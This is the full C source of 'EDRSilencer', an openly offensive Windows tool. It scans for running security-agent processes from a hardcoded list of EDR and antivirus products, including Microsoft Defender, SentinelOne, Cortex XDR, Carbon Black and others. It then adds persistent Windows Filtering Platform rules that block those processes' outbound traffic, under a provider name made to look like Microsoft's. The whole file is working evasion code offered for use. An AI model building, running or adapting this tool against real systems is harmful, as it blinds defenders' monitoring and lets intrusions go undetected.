#include "utils.h" char* edrProcess[] = { // Microsoft Defender for Endpoint and Microsoft Defender Antivirus "MsMpEng.exe", "MsSense.exe", "SenseIR.exe", "SenseNdr.exe", "SenseCncProxy.exe", "SenseSampleUploader.exe", // Elastic EDR "winlogbeat.exe", "elastic-agent.exe", "elastic-endpoint.exe", "filebeat.exe", // Trellix EDR "xagt.exe", // Qualys EDR "QualysAgent.exe", // SentinelOne "SentinelAgent.exe", "SentinelAgentWorker.exe", "SentinelServiceHost.exe", "SentinelStaticEngine.exe", "LogProcessorService.exe", "SentinelStaticEngineScanner.exe", "SentinelHelperService.exe", "SentinelBrowserNativeHost.exe", // Cylance "CylanceSvc.exe", // Cybereason "AmSvc.exe", "CrAmTray.exe", "CrsSvc.exe", "ExecutionPreventionSvc.exe", "CybereasonAV.exe", // Carbon Black EDR "cb.exe", // Carbon Black Cloud "RepMgr.exe", "RepUtils.exe", "RepUx.exe", "RepWAV.exe", "RepWSC.exe", // Tanium "TaniumClient.exe", "TaniumCX.exe", "TaniumDetectEngine.exe", // Palo Alto Networks Traps/Cortex XDR "Traps.exe", "cyserver.exe", "CyveraService.exe", "CyvrFsFlt.exe", // FortiEDR "fortiedr.exe", // Cisco Secure Endpoint (Formerly Cisco AMP) "sfc.exe", // ESET Inspect "EIConnector.exe", "ekrn.exe", // Harfanglab EDR "hurukai.exe", //TrendMicro Apex One "CETASvc.exe", "WSCommunicator.exe", "EndpointBasecamp.exe", "TmListen.exe", "Ntrtscan.exe", "TmWSCSvc.exe", "PccNTMon.exe", "TMBMSRV.exe", "CNTAoSMgr.exe", "TmCCSF.exe" }; // The "unblockall" feature will delete all filters that are based on the custom filter name WCHAR* filterName = L"Custom Outbound Filter"; WCHAR* providerName = L"Microsoft Corporation"; // provider description has to be unique because: // - avoid problem in adding persistent WFP filter to a provider (error 0x80320016) // - avoid removing legitimate WFP provider WCHAR* providerDescription = L"Microsoft Windows WFP Built-in custom provider."; BOOL inWfpFlag[sizeof(edrProcess) / sizeof(edrProcess[0])] = { FALSE }; // Check if the running process is our list BOOL isInEdrProcessList(const char* procName) { for (int i = 0; i < sizeof(edrProcess) / sizeof(edrProcess[0]); i++) { if (strcmp(procName, edrProcess[i]) == 0 && !inWfpFlag[i]) { inWfpFlag[i] = TRUE; return TRUE; } } return FALSE; } // Add WFP filters for all known EDR process(s) void BlockEdrProcessTraffic() { DWORD result = 0; HANDLE hEngine = NULL; HANDLE hProcessSnap = NULL; HANDLE hModuleSnap = NULL; PROCESSENTRY32 pe32 = {0}; BOOL isEdrDetected = FALSE; result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); if (result != ERROR_SUCCESS) { printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result); return; } EnableSeDebugPrivilege(); hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x.\n", GetLastError()); return; } pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcessSnap, &pe32)) { printf("[-] Process32First failed with error code: 0x%x.\n", GetLastError()); CloseHandle(hProcessSnap); return; } do { if (isInEdrProcessList(pe32.szExeFile)) { isEdrDetected = TRUE; printf("Detected running EDR process: %s (%d):\n", pe32.szExeFile, pe32.th32ProcessID); // Get full path of the running process HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID); if (hProcess) { WCHAR fullPath[MAX_PATH] = {0}; DWORD size = MAX_PATH; FWPM_FILTER_CONDITION0 cond = {0}; FWPM_FILTER0 filter = {0}; FWPM_PROVIDER0 provider = {0}; GUID providerGuid = {0}; FWP_BYTE_BLOB* appId = NULL; UINT64 filterId = 0; ErrorCode errorCode = CUSTOM_SUCCESS; QueryFullProcessImageNameW(hProcess, 0, fullPath, &size); errorCode = CustomFwpmGetAppIdFromFileName0(fullPath, &appId); if (errorCode != CUSTOM_SUCCESS) { switch (errorCode) { case CUSTOM_FILE_NOT_FOUND: printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The file path cannot be found.\n", fullPath); break; case CUSTOM_MEMORY_ALLOCATION_ERROR: printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Error occurred in allocating memory for appId.\n", fullPath); break; case CUSTOM_NULL_INPUT: printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Please check your input.\n", fullPath); break; case CUSTOM_DRIVE_NAME_NOT_FOUND: printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The drive name cannot be found.\n", fullPath); break; case CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME: printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Failed to convert drive name to DOS device name.\n", fullPath); break; default: break; } CloseHandle(hProcess); continue; } // Sett up WFP filter and condition filter.displayData.name = filterName; filter.flags = FWPM_FILTER_FLAG_PERSISTENT; filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4; filter.action.type = FWP_ACTION_BLOCK; cond.fieldKey = FWPM_CONDITION_ALE_APP_ID; cond.matchType = FWP_MATCH_EQUAL; cond.conditionValue.type = FWP_BYTE_BLOB_TYPE; cond.conditionValue.byteBlob = appId; filter.filterCondition = &cond; filter.numFilterConditions = 1; // Add WFP provider for the filter if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) { filter.providerKey = &providerGuid; } else { provider.displayData.name = providerName; provider.displayData.description = providerDescription; provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT; result = FwpmProviderAdd0(hEngine, &provider, NULL); if (result != ERROR_SUCCESS) { printf(" [-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result); } else { if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) { filter.providerKey = &providerGuid; } } } // Add filter to both IPv4 and IPv6 layers result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); if (result == ERROR_SUCCESS) { printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId); } else { printf(" [-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result); } filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6; result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); if (result == ERROR_SUCCESS) { printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId); } else { printf(" [-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result); } FreeAppId(appId); CloseHandle(hProcess); } else { printf(" [-] Could not open process \"%s\" with error code: 0x%x.\n", pe32.szExeFile, GetLastError()); } } } while (Process32Next(hProcessSnap, &pe32)); if (!isEdrDetected) { printf("[-] No EDR process was detected. Please double check the edrProcess list or add the filter manually using 'block' command.\n"); } CloseHandle(hProcessSnap); FwpmEngineClose0(hEngine); return; } // Add block WFP filter to user-defined process void BlockProcessTraffic(char* fullPath) { DWORD result = 0; HANDLE hEngine = NULL; WCHAR wFullPath[MAX_PATH] = {0}; DWORD size = MAX_PATH; FWPM_FILTER_CONDITION0 cond = {0}; FWPM_FILTER0 filter = {0}; FWPM_PROVIDER0 provider = {0}; GUID providerGuid = {0}; FWP_BYTE_BLOB* appId = NULL; UINT64 filterId = 0; ErrorCode errorCode = CUSTOM_SUCCESS; result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); if (result != ERROR_SUCCESS) { printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result); return; } CharArrayToWCharArray(fullPath, wFullPath, sizeof(wFullPath) / sizeof(wFullPath[0])); errorCode = CustomFwpmGetAppIdFromFileName0(wFullPath, &appId); if (errorCode != CUSTOM_SUCCESS) { switch (errorCode) { case CUSTOM_FILE_NOT_FOUND: printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The file path cannot be found.\n", wFullPath); break; case CUSTOM_MEMORY_ALLOCATION_ERROR: printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Error occurred in allocating memory for appId.\n", wFullPath); break; case CUSTOM_NULL_INPUT: printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Please check your input.\n", wFullPath); break; case CUSTOM_DRIVE_NAME_NOT_FOUND: printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The drive name cannot be found.\n", wFullPath); break; case CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME: printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Failed to convert drive name to DOS device name.\n", wFullPath); break; default: break; } return; } // Setting up WFP filter and condition filter.displayData.name = filterName; filter.flags = FWPM_FILTER_FLAG_PERSISTENT; filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4; filter.action.type = FWP_ACTION_BLOCK; cond.fieldKey = FWPM_CONDITION_ALE_APP_ID; cond.matchType = FWP_MATCH_EQUAL; cond.conditionValue.type = FWP_BYTE_BLOB_TYPE; cond.conditionValue.byteBlob = appId; filter.filterCondition = &cond; filter.numFilterConditions = 1; // Add WFP provider for the filter if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) { filter.providerKey = &providerGuid; } else { provider.displayData.name = providerName; provider.displayData.description = providerDescription; provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT; result = FwpmProviderAdd0(hEngine, &provider, NULL); if (result != ERROR_SUCCESS) { printf("[-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result); } else { if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) { filter.providerKey = &providerGuid; } } } // Add filter to both IPv4 and IPv6 layers result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); if (result == ERROR_SUCCESS) { printf("Added WFP filter for \"%s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId); } else { printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result); } filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6; result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); if (result == ERROR_SUCCESS) { printf("Added WFP filter for \"%s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId); } else { printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result); } FreeAppId(appId); FwpmEngineClose0(hEngine); return; } // Remove all WFP filters previously created void UnblockAllWfpFilters() { HANDLE hEngine = NULL; DWORD result = 0; HANDLE enumHandle = NULL; FWPM_FILTER0** filters = NULL; GUID providerGuid = {0}; UINT32 numFilters = 0; BOOL foundFilter = FALSE; result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); if (result != ERROR_SUCCESS) { printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result); return; } result = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle); if (result != ERROR_SUCCESS) { printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x.\n", result); return; } while(TRUE) { result = FwpmFilterEnum0(hEngine, enumHandle, 1, &filters, &numFilters); if (result != ERROR_SUCCESS) { printf("[-] FwpmFilterEnum0 failed with error code: 0x%x.\n", result); FwpmFilterDestroyEnumHandle0(hEngine, enumHandle); FwpmEngineClose0(hEngine); return; } if (numFilters == 0) { break; } FWPM_DISPLAY_DATA0 *data = &filters[0]->displayData; WCHAR* currentFilterName = data->name; if (wcscmp(currentFilterName, filterName) == 0) { foundFilter = TRUE; UINT64 filterId = filters[0]->filterId; result = FwpmFilterDeleteById0(hEngine, filterId); if (result == ERROR_SUCCESS) { printf("Deleted filter id: %llu.\n", filterId); } else { printf("[-] Failed to delete filter id: %llu with error code: 0x%x.\n", filterId, result); } } } if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) { result = FwpmProviderDeleteByKey0(hEngine, &providerGuid); if (result != ERROR_SUCCESS) { if (result != FWP_E_IN_USE) { printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x.\n", result); } } else { printf("Deleted custom WFP provider.\n"); } } if (!foundFilter) { printf("[-] Unable to find any WFP filter created by this tool.\n"); } FwpmFilterDestroyEnumHandle0(hEngine, enumHandle); FwpmEngineClose0(hEngine); } // Remove WFP filter based on filter id void UnblockWfpFilter(UINT64 filterId) { HANDLE hEngine = NULL; DWORD result = 0; GUID providerGuid = {0}; result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); if (result != ERROR_SUCCESS) { printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result); return; } result = FwpmFilterDeleteById0(hEngine, filterId); if (result == ERROR_SUCCESS) { printf("Deleted filter id: %llu.\n", filterId); } else if (result == FWP_E_FILTER_NOT_FOUND) { printf("[-] The filter does not exist.\n"); } else { printf("[-] Failed to delete filter id: %llu with error code: 0x%x.\n", filterId, result); } if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) { result = FwpmProviderDeleteByKey0(hEngine, &providerGuid); if (result != ERROR_SUCCESS) { if (result != FWP_E_IN_USE) { printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x.\n", result); } } else { printf("Deleted custom WFP provider.\n"); } } FwpmEngineClose0(hEngine); } void PrintHelp() { printf("Usage: EDRSilencer.exe \n"); printf("Version: 1.3\n"); printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of all detected EDR processes:\n"); printf(" EDRSilencer.exe blockedr\n\n"); printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of a specific process (full path is required):\n"); printf(" EDRSilencer.exe block \"C:\\Windows\\System32\\curl.exe\"\n\n"); printf("- Remove all WFP filters applied by this tool:\n"); printf(" EDRSilencer.exe unblockall\n\n"); printf("- Remove a specific WFP filter based on filter id:\n"); printf(" EDRSilencer.exe unblock "); } int main(int argc, char *argv[]) { if (argc < 2) { PrintHelp(); return 1; } if (strcasecmp(argv[1], "-h") == 0 || strcasecmp(argv[1], "--help") == 0) { PrintHelp(); return 1; } if (!CheckProcessIntegrityLevel()) { return 1; } if (strcmp(argv[1], "blockedr") == 0) { BlockEdrProcessTraffic(); } else if (strcmp(argv[1], "block") == 0) { if (argc < 3) { printf("[-] Missing second argument. Please provide the full path of the process to block.\n"); return 1; } BlockProcessTraffic(argv[2]); } else if (strcmp(argv[1], "unblockall") == 0) { UnblockAllWfpFilters(); } else if (strcmp(argv[1], "unblock") == 0) { if (argc < 3) { printf("[-] Missing argument for 'unblock' command. Please provide the filter id.\n"); return 1; } char *endptr; errno = 0; UINT64 filterId = strtoull(argv[2], &endptr, 10); if (errno != 0) { printf("[-] strtoull failed with error code: 0x%x.\n", errno); return 1; } if (endptr == argv[2]) { printf("[-] Please provide filter id in digits.\n"); return 1; } UnblockWfpFilter(filterId); } else { printf("[-] Invalid argument: \"%s\".\n", argv[1]); return 1; } return 0; }